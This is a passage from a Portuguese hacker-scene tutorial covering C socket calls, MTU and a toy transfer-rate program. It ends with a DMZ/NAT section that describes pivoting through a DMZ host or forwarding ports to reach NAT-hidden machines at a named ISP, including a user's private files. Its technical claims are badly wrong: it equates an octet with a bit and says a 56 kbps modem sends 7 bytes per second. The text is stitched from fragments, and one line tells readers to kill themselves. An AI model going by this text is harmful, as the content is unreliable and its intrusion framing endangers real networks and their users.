bem que um caractere equivale a 1 byte. Eu acho que consegui esclarecer bem a sintaxe
basica desta funçao ;) Na proxima parte iremos abordar o tema [Flag's]. A funcao send
retorna o numero de bytes enviados e -1 em caso de erro. Podemos dizer em um modo bem
"simbolico" q a funcao send() as vezes envia 1 numero menor do q vc mandou ela enviar,
isso ocorre porque se voce estiver mandando muitos dados no payload e este mesmo frame
(Por exemplo) ficar maior que o limite de bytes permitidos pela MTU de sua vitima, o
pacote vai ser entregue aos poucos, ou seja, eh enviado ao host um pedaço grande q eh
um fragmento que possui um tamanho para a parte de dados multiplo de 8 octetos e q eh
determinado pelo MTU da rede, logo em seguida eh enviado outro menorzinho, se o pacote
for pequeno a tal da funcao send() manda tudo de uma vez dai...:) Voce nao sabe o pq
deste '8 octetos'? Um octeto neste caso nada mais eh que um numero binario [bit] que
agrupado em 8 forma 1 byte, acho q vcs sabem o que significa o termo KB/s, certo? Nao?
Esse termo eh usado p/ se referir a uma taxa de transmissao d dados, ou como falam por
ai: "Medida de velocidade de transferencia de dados". Esta nada mais eh q uma medida d
tranferencia calculada em "Bytes" por segundo (Como o proprio nome ja entrega).

Entao... esses tais 8 octetos sao os binarios (BIT - Binary DigIT) que a interface de
rede pode receber e enviar, para ser mais especifico, uma interface de rede (Exemplo:
eth0), processa os dados de oito ('8') em oito ('8') bits, a interface so pode receber
e enviar binario. Vamos simplificar mais as coisas tendo como base dispositivos d rede
que possuem sua velocidade de transmissao "medidas" em "bits" por segundo, kbps
propriamente dito... \O/ A maioria para ser mais especifico rsrsrs, entao ja q sabemos
que o tamanho do bloco processado por vez por uma interface padrao eh de 8 octetos que
equivelem a 1 byte, podemos dizer entao que um modem que transmite dados a 56k [bits]
por segundo, envia 7 bytes por segundo, porque 7 * 8 = 56 Sacow? Outro exemplo,humm...
Ja sei! A taxa de tranferencia de um monte ADSL varia d 256kbits a 2 mbps, vamos dizer
que a taxa do meu modem seja de 256, entao eu vou multiplicando um numero qualquer por
8 (Que eh o numero do bloco lido por vez pela maioria dos dispositivos) ate encontrar
um resultado que condiz com a taxa de transmissao do periferico que voce viu na caixa
da placa (Valquiria!!! Essa eh pra voce!) rsrsrss. Achei: 8 * 32 = 256. Entao um modem
de 256kbps pode enviar '32' bytes por segundo.

Ei caras, lembrem-se sempre:

8 bits equivalem a 1 byte.


Abaixo segue um algoritimo de minha autoria no qual eh utilizado para calcular taxa de
transmissao. Esta tecnologia eh "totalmente Brasileira" e by me...:) Este software eh
Cross Plataforma, ou seja, ele roda sobre diferentes arquiteturas, 'Unixes' e Windows.
A macro definida no codigo eh a __USE_BSD por questoes de incentivo =)



---- Emp_Trans_converter.c ---

/*
*
* =======================================
* ++++++ CORPORACAO VIBORA ++++++
* A cena Hacker Underground Brasileira
* =======================================
*
* Emperial Transmission Converter
* "Trans" eh rulez eheheh v0.1
*
* by
* 6_Bl4ck9_f0x6
*
* For Windows Sux and Unixes Rulez!
*
* Software Cross Plataforma
*/


#include <stdio.h>
#include <stdlib.h>

#ifdef __USE_BSD
#define RULEZ "[Brazil Underground Hacker - Rulez =7]\n"
#define FLAG 1
#endif

#if FLAG == 1
#define BSD "[6_Bl4ck9_f0x6 and Unix BSD like rulez!]\n"
#else
#include <windows.h>
#endif
#ifdef WIN32
#define RULEZ "[Winuser :( Instala um sistema que preste amigo :P]\n"
#endif

void banner ();

main (int argc, char *argv[]){

if (argc < 3){

#ifndef FLAG
SetConsoleTitle ("Your Winuser fulero!");
Sleep (1); // Subliminar rsrsr
system ("cls");
banner ();
printf ("%s", RULEZ);
#endif
#ifdef FLAG
#undef FLAG
system ("clear");
banner ();
printf ("%s", RULEZ);
printf ("%s", BSD);
#endif

fprintf (stderr, "\nUso: %s <Taxa de transferencia [kbps]> <byte[s]>\n",
argv[0]);
exit (-1);}

int bytes, opera=0, ct=0;
bytes=atoi (argv[1]) * atoi (argv[2]);

while (opera != bytes){
opera+=8;
ct++;}

#if WIN32
system ("cls");
#else
system ("clear");
#endif

banner ();
fprintf (stderr, "[%d] bytes por segundo\n", ct);
}

void banner (){

char *banner[]={

"[=] + ===============[####]================== + [=]\n",
" *** Emperial Transmission Converter ***\n",
" XxX VIPER CORP GROUP[0.1] XxX\n",
" <-> Underground Max <->",
"[=] + ===============[####]================== + [=]\n"};
printf ("%s%s%s%s\n\n", banner[0], banner[1],
banner[2], banner[4]);}

--- cut this file here ---


Voce fornece a taxa de transmissao (transferencia) a ele e o numero de bytes propri-
amente dito, apos isso ele vai calcular o tempo que esses bytes forncedidos vao ser
entregues ao host baseado-se pela taxa de transmissao. Vamos ver agora exemplos de
utilizaçao:


+-----------------------------------+
|[1] - Etapa de compilaçao (Normal) |
+-----------------------------------+

sh-3.1# bash
root@Black_Machine:/home/Black_Fox# gcc Emp_Trans_converter.c


+-----------------------------------+
|[2] - Execuçao do software |
+-----------------------------------+

root@Black_Machine:/home/Black_Fox# ./a.out

[=] + ===============[####]================== + [=]
*** Emperial Transmission Converter ***
XxX VIPER CORP GROUP[0.1] XxX
[=] + ===============[####]================== + [=]


[Brazil Underground Hacker - Rulez =7]
[6_Bl4ck9_f0x6 and Unix BSD like rulez!]

Uso: ./a.out <Taxa de transferencia [kbps]> <byte[s]>


+-----------------------------------+
|[3] - Utilizaçao propriamente dita |
+-----------------------------------+

root@Black_Machine:/home/Black_Fox# ./a.out 56 1


+-----------------------------------+
|[4] - Resultados retornados |
+-----------------------------------+

root@Black_Machine:/home/Black_Fox#

[=] + ===============[####]================== + [=]
*** Emperial Transmission Converter ***
XxX VIPER CORP GROUP[0.1] XxX
[=] + ===============[####]================== + [=]


[7] bytes por segundo
root@Black_Machine:/home/Black_Fox#



Exemplo "pratico" d mediçao d taxa d transferencia tendo como base o q foi descrito
por mim anteriormente ..:


Placa de rede que transmite a 8kbps (1 byte) por segundo (Que coisa lenta!):


+-------------+-------------+-------------+-------------+
Bits transmitidos: | 01100010 | * | * | * |
+-------------------------------------------------------+
Segundos por bits: | 1 | 2 | 3 | 4 |
+-------------+-------------+-------------+-------------+

^ ^
| |
+---------------------------+---------------------------+
|
|
V

4 Byte[s]

[ A placa envia estes 4 bytes em 4 segundos ]
Taxa de tranferencia em KB/s: 1.
1 * 8 = 8 - 1 KB/s
^ ^
| |
+ ----------+

Exemplo -> simbolico <- :

Se nos enviarmos entao 34 bytes para a interface que vamos dizer aqui que tenha um
MTU de 32 bytes (Multiplo de 8 =) por exemplo [SIMBOLICO!] e nos temos uma taxa d
transmissao medida em bits por segundo, digamos que seja 8k, entao nosso frame vai
ser quebrado em 2 pedaços, um d 32 bytes e o outro de 2 bytes e demorariam "cerca" <-
de 34 segundos para serem transmitido por completo ( ^
|
Agora repare neste 'cerca' ---+ _)


O payload pode conter "na pratica" d 46 a 1500 bytes quando se eh transmitido como
um frame ethernet, por razoes obvias e ja esclarecidas. Voce diz: Ei, espere ai!!!
Porque os tais "DADOS" do pacote devem ser multiplos de 8 octetos? Eu lhe respondo
isso:

-Por essas e por outras amigos:


b - f o x
01100010 [*] [*] [*]


Lembram que cada carectere equivale a 1 byte? Facil, muito facil =7

Importante: Nem sempre o ultimo fragmento eh multiplo de 8 octetos, porque tambem
devemos levar em conta os dados que o pacote precisa para trafegar na
rede, ou seja, os headers e afins.

Com esse esquema nos podemos ate fazer programas que enviem dados e que ainda possam
determinar o tempo que os dados sao entregues se baseando pela taxa de transferencia
que espeficicarmos na linha do comando por exemplo, ele devera' calcular a taxa de
transmissao de seu periferico junto com o numero de bytes que voce esta' enviando...
Nos tambem poderiamos atravez de numeros de retorno, determinar o tal do MTU da rede
entre varias outras paradinhas maneiras, assim nao usamos o nmap p/ fragmentaçao no
escuro, pois somos profissionais e nao [kiddies], eu gosto muito de saber o q eu to
fazendo rsrs. A fragmentaçao eh o poder!!


Abra parenteses: O queeee!? Voce nao entendeu o que eh MTU? Simples, uma MTU - Maximum
Transmission Unit ou simplesmente Unidade de Transmissao Maxima eh um
numero setado "em bytes" que determina a quantidade maxima de octetos
que uma interface d rede ([Placa de rede/iface]) eh capaz d manipular
em uma transaçao (Nao esse tipo de transaçao que sua mente poluida
acabou de pensar eheh). Quando digo transaçao me refiro a capacidade
de enviar e receber determinados numeros de bytes. Muito Facil! :)

Feche ele agora.


Atençao amigo: Tentem por favor levar essa historia de fragmentaçao a serio, procurem
infos relacionadas a MTU na internet, gostaria de lhes adiantar que eu
estou preparando a um certo tempo um paper fantastico sobre o ataque
baseado em fragmentaçao. Brevemente o estarei publicando aqui:

http://www.thebuggers.in

O MTU default do windows 95 sux eh de 1500, isso significa q aparentemente o tio Bill
fez essa versao do windows p/ Ethernet's like, mas isso pode variar bastante, p/ ver
o MTU de alguma interface, apenas digite o comando 'ifconfig' e procure o MTU dela.
Ainda existe (com o comando ifconfig) a possibilidade de mudarmos um numero de MTU p/
uma determinada interface.

Um exemplo de configuraçao de MTU em Unix:

Black_Fox@Black_Machine:~$ su
Password:
root@Black_Machine:/home/Black_Fox# ifconfig eth0 192.168.1.1 broadcast 192.168.1.255
netmask 255.255.255.0 up

root@Black_Machine:/home/Black_Fox# ifconfig
eth0 Encapsulamento do Link: Ethernet Endereço de HW 00:07:95:50:F0:AD
inet end.: 192.168.1.1 Bcast:192.168.1.255 Masc:255.255.255.0
UP BROADCASTMULTICAST MTU:1500 Métrica:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
colisões:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
IRQ:10 Endereço de E/S:0x4000

lo Encapsulamento do Link: Loopback Local
inet end.: 127.0.0.1 Masc:255.0.0.0
endereço inet6: ::1/128 Escopo:Máquina
UP LOOPBACKRUNNING MTU:16436 Métrica:1
RX packets:12 errors:0 dropped:0 overruns:0 frame:0
TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
colisões:0 txqueuelen:0
RX bytes:600 (600.0 b) TX bytes:600 (600.0 b)

root@Black_Machine:/home/Black_Fox# ifconfig eth0 mtu 100 ; ifconfig | grep "MTU"
UP BROADCASTMULTICAST MTU:100 Métrica:1
UP LOOPBACKRUNNING MTU:16436 Métrica:1
root@Black_Machine:/home/Black_Fox#


Tive q levantar minha iface pq eu nao constumo usar muito ela sabe. Vejam q inicialmente
meu MTU era de 1500 e depois o alterei p/ 100 bytes. Repare tambem q o MTU da minha iface
de loopback (lo) eh d 16436 bytes. Vamos proceguir com o texto amigos, pois ele ainda vai
longe ;)


Vamos passar p/ os exemplos realmente praticos. Soh para arejar um pouco sua mente.

Primeiramente deixamos uma porta em liten no nosso sistema. Acima d 1023 qualquer user
pode bindear uma porta. Estas tais portas existem para receber conexoes remotas, pois
quando estabelecemos uma conexao com um host remoto, temos q abrir uma porta local no
nosso sistema p/ recebermos as respostas de nossas requisiçoes ao host e sao as portas
acima de 1023 que sao usadas, por isso nao precisamos d permissoes p/ elas, pois seria
um saco ter que ficar abrindo porta local sempre que nos quizesemos mecher com ssh nas
maquinas alheias ^^.


sh-3.1$ nc -l -p 1026 -vv -s 127.0.0.1
listening on [any] 1026 ...


OBS: Se voce nao sabe usar o netcat recomendo fortemente a leitura desta super, mega e
ultra e-zine Hacker Underground Hardcore (Eita!!):

http://www.hunterhacker.xpg.com.br/CODEx02.txt

Mas nao lembro de ter mencionado a opçao -s :( Ela apenas serve para determinarmos
qual a interface q desejamos usar para ouvir uma porta, so isso. Como vc pode ver
eu vou escutar na minha iface de loopback(127.0.0.1) e se eu dar um telnet ou usar
o proprio nc p/ conectar em outro IP, eu nao vou conseguir acesso, "apesar" desta
porta esta' em escuta no meu sistema (So pra quem nao sabe disso ;).

nc 192.168.1.1 1026 <- Nao da certo rsrs. Eu sou o professor ninja do ano mesmo...

------- Send.c -------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> // close (); Fecha um socket [Falarei logo mais].
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define ERR -1
struct sockaddr_in vt;

int main (){

int sock, recv_mtu;
sock = socket (PF_INET, SOCK_STREAM, IPPROTO_IP);
unsigned char buffer[2500];
memset (&(buffer), 'A', sizeof (buffer));

vt.sin_family = AF_INET;
vt.sin_port = htons (1026);
inet_aton ("127.0.0.1", &(vt.sin_addr));
bzero (&(vt.sin_zero), 8);

if ( (connect (sock, (struct sockaddr *)&vt, 16)) == ERR) {
fprintf (stderr, "Porta [%d] em %s closed\n", ntohs (vt.sin_port),
inet_ntoa (vt.sin_addr));
exit (ERR);}

recv_mtu=send (sock, buffer, sizeof (buffer) -1001 +1, 0);

printf ("[%d] bytes enviados\n", recv_mtu);
close (sock);
return (0);}

------- corte aqui -------

sh-3.1$ ./send
[1500] bytes enviados
sh-3.1$


sh-3.1$ nc -l -p 1026 -vv
listening on [any] 1026 ...
connect to [127.0.0.1] from Black_Machine [127.0.0.1] 1365
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....... sent 0, rcvd 1500
sh-3.1$

Acima voce pode ver que o netcat recebeu todos os 1500 bytes(rcvd 1500) DE PAYLOAD, agora
voce faz isso cara: ;)


8.7 A funcao write ();

Irmazinha mais nova da funcao send (), pois a 'send ()' tem peitinhos ([Flag's] <-) e
ela nao tem, mas ambas fazem a mesma coisa ;)

header: <unistd.h>

Entendendo mais os descritores.

Aqui que o negocio vai ficar mais intuitivo amigo, pois acho que voce ja deve ter lido
em algum lugar q o Unix padrao le e escreve (I/O - Input/Output; E/S - Entrada/Saida)
usando um descritor de arquivo, ouviu? Necessariamente ele usa esse tal descritor PARA
TUDO, por isso os caras falam que o Unix eh um grande arquivo "ABERTO", mas existe um
detalhe ai, para cada chamada que fazemos, esse mesmo descritor vai fazer uma
"determinada" açao no sistema, ou seja, quando nos utilizamos a funcao connect() (Por
exemplo) estamos usando esse descritor, mas estamos usando ele para conexao. Outro
exemplo eh quando abrimos um terminal, este descritor "DE ARQUIVO" (Aspas porque este
"arquivo" nao necessariamente precisa ser um arquivo no disco) eh utilizado para
essa finalidade. Ta pegando ae? Voces se lembram que utilizamos os tais "DESCRITORES"
DE SOCKET para manipularmos dados? Isso significa que, tambem podemos utilizar funcoes
que leem e escrevem em 'arquivos' "utilizando descritores" (Obvio!), mas para enviar e
receber dados!! Como as funcoes read() e write(), que sao funcoes feitas originalmente
para o proposito de ler e escrever em arquivos usando DESCRITORES..:) Sacow? Ah! so
pra constar: write/escrever - read/ler. <-- Legal! Elas leem e escrevem em descritores
de socket aberto (Claro :P)!! Meu Deus que bom que existe o Unix, temos varias opçoes,
mas eh uma pena que esse mesmo leque de possibilidades nao exista para WinUsers Sux!!!
O 'Sux!' ae foi para quem ama a bosta do windows viu gente, mas para quem usa ele como
fliperama ta deboa (Essa eh pra voce VonNaturAustreVe! eheh ;)

Sei q voce deve ter reparado no quarto argumento da funcao send (), o [flag's]. O que
poderia vir a representar isso em uma comparaçao com a funcao write()? Isso significa
que, se vc pode especificar um argumento adicional nas funcoes de envio e recebimento
de dados ('send ()' e 'recv ()' respectivamente), quer dizer (obviamente) que vc pode
ter um controle maior da trasmisao d dados. Ou seja, se seu interesse nao eh utilizar
tais flags, use as funçoes read e write (). Nao esquentem com as flags agora pessoal,
futuramente dedicarei um capitulo (Na segunda parte do paper para ser mais preciso)
apenas para abordar o tema '[flags], por hora tentem "nao" se "preocupar" com isso,
especifique 0 neste paramentro ou ate mesmo utilizem as funcoes write( ) e read (Olha
eu incentivando mais uma vez ;). Para apenas enviar e receber dados eh o q bastaria.

Prototipo:


write (des, payload, payload_len);


Des ---> O tal do descritor de socket.
Payload ---> Buffer a ser enviado atravez do socket.
Payload_len ---> Quantidade de bytes [do buffer] a ser enviado.

Sacow? Podemos dizer q nossas amigas write() e read () (a ultima sera' descrita logo
mais abaixo), possuem o argumento 'flags' setado como 0 por default. E acho q ja era
meio previzivel e de certa forma obvio (Julgando pelo header que abriga a mesma =) q
essa funcao juntamente com a read, so existem "por padrao" em sistemas q derivam da
arquitetura Unix, ou seja, unixes like mais uma vez emperando sobre a concorrencia ;)
Agora vou falar uma coisa que ninguem imaginaria: Esta funçao retorna -1 em caso de
erro. Oooooh Que surpresa minha gente ¬¬ Voce diz Yeah, eu digo: oooooooh yessss!!

08.8 A funcao read ();

Header: <unistd.h>

Esta funcao 'PODE SER' utilizada para recebimento de dados, como eu estava falando
anteriormente. Esta' funcao retorna 0 quando nao existem mais dados "chegando", e
em quanto esta' recebendo os mesmos retorna o numero d bytes recebidos propriamemte
dito. Ah! E retorna -1 em caso de erro XP. Sem duvida nenhuma eh um saco ter q ficar
repetindo isso. Que coisa mais Sux! Encare esse erro como um termino de conexao meu
amigo! Ele significa que o servidor encerrou a conversa! ;)

Exemplo:

read (sock, buffer_recvd, buffer_received_len);


Onde:

sock ---> Descritor de socket.

buffer_recvd ---> Buffer que sera' usado para receber os dados.

buffer_received_len ---> O limite de dados maximo que podem ser passados p/
o buffer em nossa aplicaçao local. Seria algo como:
sizeof (buffer_recvd) -1; Repare que eu reservo -1
byte no buffer para o terminador de string '\0'.

Ao utilizarmos a funçao 'sizeof()' estamos entao
determinando que o limite d dados a serem copiados,
condiz com o tamanho do buffer local (Nesse caso!).

Exemplo..:

Se o server-side estivese enviando aquele 'Oi' no exemplo da funcao 'send ()' e se
nos quizermos ter certeza que apenas esse 'Oi' vai ser copiado p/ o buffer em nossa
aplicaçao local (cliente-side), entao seguiriamos os seguintes passos:


Server-side..:


unsigned char payload[]="Oi, como voce esta?";
send (sock, payload, 3 -1, 0); // 3 - 1 = 2 eheheh. Frescura rulez!


Cliente-side..:

+----------------------------------------------------------------------------------+
| CODIGOS DO PROGRAMA | RESPECTIVOS COMENTARIOS |
+----------------------------------------------------------------------------------+
| |
|int bytes; [*] Recebera' o retorno de read(). |
|unsigned char buffer_recvd[3]; [*] Oi'\0' - NULL Terminator ( ;). |
|bytes=read (sock, buffer_recvd,4 -2 + 2 -2); [*] Gambiarra rulez!!! Hauhauhau!!! |
|buffer_recvd[2]='\0'; [*] 012 -> Oi'\0' dentro do buffer. |
| |
|/* buffer[bytes]='\0' */ [*] Lembra q eh retornado o numero |
| de bytes? ;) |
| |
| puts (recvd); [*] Imprime a string recebida. |
+----------------------------------------------------------------------------------+


08.9 A funcao recv ();

Header(s): <sys/types.h>
<sys/socket.h>


A funcao recv (receive/recebe =) nada mais eh que a funcao responsavel "ORIGINALMENTE"
(ao contrario da read) pelo recebimento de dados atravez de um socket, ela funciona
EXATAMENTE igual a read(), porem, requer que seja passado como ultimo argumento as tais
'[flags] (Como a funcao send(). Nossa, d tanto eu falar nessas '[flags]' voces ja devem
estar com a pulga atraz da orelha huahauh!! Calma gente, relaxem, nos vamos chegar la,
tenham paciencia ou procure infos relacionadas as mesmas pela internet a fora, caso nao
tenham (como eu) um pingo de paciencia de esperar para aprender ;)

Prototipo:

recv (desc, buffer_received, buff_recv_len, flags);

Ooooonde:

desc -> Bah!
buffer_received -> Vaaariavel, na aplicaçao local que vai receber os dados.
buff_recv_len -> Determina quantos bytes vao ser copiados p/ a vaaariavel (buffer).
flags -> Siniiistro! Continua colocando o 0 (zero) ae manoh.


A recv retorna o numero d bytes recebidos e -1 em caso de erro, que so pode representar
uma coisa: Alguem do outro lado fechou a conexao! Bem, nos nao podemos dizer que esta
funcao vai ler "todos" os "bytes" enviados pelo host, mas vai ler o importante, os tais
dados "usaveis" PROPRIAMENTE dito, nem esquentem com aquele tal de 1500 bytes, pois um
pacote precisa ter camadas e a maioria dos dados recebidos por nossa interface nem se
quer chegam as aplicaçoes de rede, vc entendeu essa indireta? ;) No famoso processo de
desmultiplexaçao do frame, os dados vao perdendo bytes, assim fazendo apenas o payload
ser lido pela recv que esta' no layer de aplicaçao no modelo TCP/IP de encapsulamento.
Easy. Muito Facil =)


08.10 A funcao sendto ();

Header(s): <sys/types.h>
<sys/socket.h>

Ate agora estavamos trabalhando com funcoes que enviam e recebem dados atravez de um
socket "orientado a conexao", ou seja, estavamos usando o nosso amigo -> SOCK_STREAM.
Que representa o nosso amiguinho TCP. Agora vamos ver como trabalhar com socket q se
utiliza de UDP, ou seja, SOCK_DGRAM. Vamos fazer uma pequena revisao do q foi passado
no começo do paper:


Para utilizarmos um socket "orientado a conexao" (TCP):


int desc; <-- Descritor de socket.
desc = socket (PF_INET, SOCK_STREAM, IPPROTO_IP);

^
|
|
+ --- Repare aqui manoh.


Para utilizarmos um socket "NAO orientado a conexao" (UDP):

int desc; <-- Descritor de socket.
desc = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP);

^ ^
| |
| + --- #define IPPROTO_UDP 17 (17 = UDP)
|
+ --- UDP rulez!

Humm.. Voces se lembram que eu havia falado que com SOCK_DGRAM so podemos utilizar
o socket para apenas uma coisa? Lembram? Ou seja, ou voce escreve no socket ou le o
dito cujo, jamais as duas coisas ao mesmo tempo. Tendo essa base podemos proseguir.
Ah! Gostaria de avisar para os senhores q a funçao de envio de dados quando estamos
trabalhando com o temivel SOCK_RAW, eh essa! Pra falar a verdade nos podemos enviar
dados com qualquer tipo de socket utilizando o sendto ( =), inclusive SOCK_STREAM!!


Prototipo:


sendto (desc, payload, payload_len, flags,
(struct sockaddr *)&rulez, sizeof (rulez));


Bizaarro! Neh nada gente, so parece eheh. Vamos la:


desc ---> Descritor de socket :P
payload ---> Buffer a ser enviado.
payload_len ---> Quantos bytes serao enviados.
flags ---> Bem, flags eh flags mesmo eheh. Aguardem!!
Por hora continue colocando o nosso amigo
0 (zero) ai.

(struct sockaddr... ---> Voces se lembram que SOCK_DGRAM trabalha com socket's
nao orientados a conexao? Claro que lembra, eu nao paro
um segundo de repetir isso :P Reparem q na funcao send()
nao precisamos definir este argumento justamente porque
o tipo de socket usado eh orientado a conexao, ou seja,
a aplicaçao SEMPRE vai fazer uma consulta a tal struct
de conexao (ao endpoint para ser mais especifico) sempre
q o socket for utilizados pelas funcoes send() e recv(),
mas como vamos usar um socket NAO orientado a conexao,
isso significa q o programa so vai consultar o endpoint
"UMA VEZ" (Aspas porque a aplicaçao pode rodar em loop),
ou PARA ENVIAR "OU" PARA RECEBER OS DADOS (Uma coisa ou
outra!)! Ta fazendo sentido ne? Entao: Dizemos p/ a APP
onde ela tem que instruir o kernel do sistema a mandar
("nesse caso") os dados ( '(struct sockaddr *)&rulez')
passando a struct como argumento. Muito facil!! Entao eu
agora estou certo que voce sabe o porque da struct, mas
se voce ainda nao pegou o fio da meada, lavai:

Temos que especificar a estrutura de conexao porque como
todos sabemos, eh nela que estao armazenados os DADOS DA
NOSSA VITIMA!


sizeof (rulez) ---> Passamos o tamanho da struct.


Esta funçao retorna -1 em caso de erro. So pra variar um pouquinho... E como a funçao
'send ()', retorna o numero de bytes enviados propriamente dito ;)


08.11 A funcao recvfrom ();

Header(s): <sys/types.h>
<sys/socket.h>


Esta eh a funçao responsavel pelo recebimento de dados que chegam atravez de UDP, ou
seja, SOCK_DGRAM. Esta funcao tb pode ser utilizada p/ o recebimento de dados atravez
de qualquer tipo de socket. Esta' funcao eh bastante interesante. Como a funçao
recv, ela retorna o numero bytes que foram recebidos e tambem retorna '0' quando nao
existem mais dados chegando, em caso de erro esta funcao retorna -1.

Prototipo:

recvfrom (desc, payload_received, payload_len, 0,
(struct sockaddr *)&remote, (int *)16);





AGUARDE A VERSAO FINAL...








C:\Documents and Settings\David>nc -l -p 99 -vv -u > \ll.txt
listening on [any] 99 ...
connect to [192.168.1.1] from Violator [192.168.1.1] 1071

sent 1, rcvd 1

-----------------------------

- 08

INADDR_LOOPBAK;
INADDR_NONE;
INADDR_ANY;
SOCKET_ERROR



[=] + =================================================== + [=]
Xiii... um ISP, um maneh, uma historia
Entendendo DMZ's & NAT's
[=] + =================================================== + [=]


Era uma vez um provedorzinho de internetZinha que tinha funcionariozinhos despreparadinhos,
ae um hackerzinho maleficoZinho, resolveu fazer um inferninho na vida desse "provedorZinho",
bonitinho. Bem, se vc nao souber oq isso significa, recomendo fortemente que voce se mate.


MAPA 00

Filial: fortalnet SuX
Cidade: Quixeramobim - CE
Mind 1: A sub-rede 00 eh uma LAN house no centro da cidade, a 01: '$$$'
Mind 2: Todo o esquema de enderecamento eh "veridico" (?)...


[Ambas sub-redes com enderecamento de classe C]


Configuracao do Ponto d Passagem 1 Configuracao do Ponto d Passagem 2
+----------------------------------+ +----------------------------------+
|Nome: PP-1 | |Nome: PP-2 |
|iface: LAN interface | |iface: LAN interface |
|Internet Protocol: 10.0.0.100 | |Internet Protocol: 10.0.0.101 |
|Default Gateway: 0.0.0.0 | |Default Gateway: 0.0.0.0 |
|Mascara de sub-rede: 255.255.255.0| |Mascara de sub-rede: 255.255.255.0|
+----------------------------------+ +----------------------------------+
\ /
-=-
/ \
+----------------------------------+ +----------------------------------+
|Nome: PP-1 | |Nome: PP-2 |
|iface: WAN interface | |iface: WAN interface |
|Internet Protocol: 10.251.147.2 | |Internet Protocol: 10.251.147.3 |
|Default Gateway: 10.0.0.1 | |Default Gateway: 10.0.0.1 |
|Mascara de sub-rede: 255.255.255.0| |Mascara de sub-rede: 255.255.255.0|
+----------------------------------+ +----------------------------------+



Observacoes:

O endereco 0.0.0.0 representa o INADDR_ANY, ou seja, o router/AP irah utilizar
uma interface qualquer disponivel nele mesmo, p/ ser o seu gateway na 'LAN'.
Nesse caso o gateway da iface local (LAN - Local area Network, Area de Rede
local) serah o endereco 10.0.0.1, ou seja, seu proprio endereco.




[ Sub-rede - 00 ]
NAT: Network Address Translation

=========== =========== ===========
= PC 00 = <-> = PC 01 = <-> = PC 02 =
+{ =========== =========== ===========
DMZ / IP: 192.168.1.1 192.168.1.2 192.168.1.3
DeMilitarized Zone +------+ DG: 10.0.0.100 192.168.1.1 192.168.1.1
189.17.34.2 |router| Ms: 255.255.255.0 [ C ] [ C ]
+-- > +------+
=========== | PP-1
= Proxy = |
=====|===== +------+
+ -- > |router| < 10.0.0.1 >
< -- +------+
| ^ |
| | |
V | +-- > +------+
+------+ \ |router| [ Sub-rede - 01 ]
|router| + Unknown +------+ NAT: Network Address Translation
+------+ / PP-2 \
| +{ =========== =========== ===========
+--+ ^ = PC 00 = <-> = PC 01 = <-> = PC 02 =
| | =========== =========== ===========
V | IP: 192.168.0.1 192.168.0.2 192.168.0.3
[ Internet ] DG: 10.0.0.101 192.168.0.1 192.168.0.1
Ms: 255.255.255.0 [ C ] [ C ]




5.0 - DMZ - DeMilitarized Zone


Eu vo logo te avisando maninho, se liga: "Nao eh essa zona q vc ta pensando, monstro."
DeMilitarized Zone, ou em portugues, "Zona Desmilitarizada", nada mais eh que um local
proximo ao router que repassa requests vindos da internet ( WAN - Wide Area Network).
As maquinas q disponibilizam servicos em uma rede corporativa (nesse caso eh a rede da
fortalnet sux do capeta... :P) ficam nesta "area". Em uma forma mais literal de falar,
posso dizer que uma DMZ nada mais eh que uma area limitrofe entre a rede interna (Com
enderecos IP nao roteaveis) e a internet, ou seja, ela fica no meio repassando dados.
Em muitas redes corporativas normalmente vc tera' a area q esta sendo filtrada por NAT
(Citada logo adiante) e a DMZ, onde se encontram os "servicos disponibilizados" pela
empresa, como servidores web, servidores proxy que ajem com intermediarios de conexoes
entre uma WAN e a rede interna "filtrada por NAT", um servidor de SQL, FTP, etc. Os
computadores q estao na DMZ, possuem seus enderecos IP "validos", ou seja, sao IP's
roteaveis, e isso significa que qualquer pessoa que estiver na WAN pode usar recursos
hacker sobre essa maquina, como usar um scan, obstruir alguma porta de proxy assim im-
pedindo que todos os users da NAT possam acessar a internet (HTTP) ou algum server de
FTP (Por exemplo ;), etc, etc e etc =)


6.0 - NAT - Network Address Translation


Como eu li por ai: "Nao amigo, ela nao eh gostosa, monstro". uahuahuahau! auhsudhaus!
Hoje em dia usa-se muito este recuso (NAT - Endereco de "traducao" de rede) para es-
conder uma rede corporativa, da internet, pois como voce pode perceber na ilustracao
acima, os enderecos IP atribuidos a maquinas da NAT nao sao roteaveis, como os inici-
ados por 192.168, 10, etc. Ou seja, nao sao validos para acesso externo, quando digo
externo me refiro a internet. Para invadirmos computadores sendo filtrados por 'NAT',
temos que primeiramente invadir 1 computador na DMZ, pois a DMZ "pode" ter acesso a
maquinas na NAT, alguma maquina na DMZ pode inclusive ser o proxy para as maquinas
da NAT (189.17.34.2 - Fedora Linux). Normalmente os carinhas colocam daemons em algum
PC da DMZ que redirecionam dados p/ dentro da NAT, o esquema base eh esse, ja que nao
podemos ter acesso "direto" as maquinas da NAT pela internet, e ja que as maquinas na
DMZ normalmente "podem" ter acesso a maquinas da NAT, entao devemos entrar na 'NAT'
pela DMZ ond existe o tal daemon redirecionando nossos dados. Tb podemos ter acesso a
maquinas filtradas por NAT se habilitarmos no router mais proximo deste, o redirecio-
namento dinamico, assim todos os pacotes que chegarem ao router vao ser destinados a
maquinas da NAT. Imagina habilitar um redirecionamento de pacote p/ o porta 'ssh' das
maquinas da NAT, ou telnet ou... bah! essas coisinhas das trevas }=) Agora imagine ai
vc ter acesso a um 192.168.1.6 onde tem arquivos daquela mina q acessa a LAN =) Nesse
